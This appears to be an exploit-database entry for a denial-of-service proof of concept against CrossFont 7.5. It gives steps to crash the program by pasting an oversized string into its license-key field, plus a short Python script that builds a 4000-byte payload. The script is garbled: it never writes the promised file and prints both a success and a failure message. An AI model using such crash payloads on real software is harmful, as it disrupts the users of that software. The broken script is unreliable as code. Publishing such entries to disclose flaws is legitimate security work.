CrossFont 7.5 Denial Of Service

CrossFont version 7.5 suffers from a denial of service vulnerability.

MD5 | 082af22856629984b1bee8c9d730f649

# Exploit Title: CrossFont 7.5 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-26
# Software Link:
# Tested Version: 7.5
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Enter Key"
# Now paste the contents of "exploit.txt" into the fields:"License Key/Code"
# Click "OK" and you will see a crash.


buffer = "A" * 4000

payload = buffer
print "[+] Creating %s bytes evil payload.." %len(payload)
print "[+] File created!"
print "File cannot be created"

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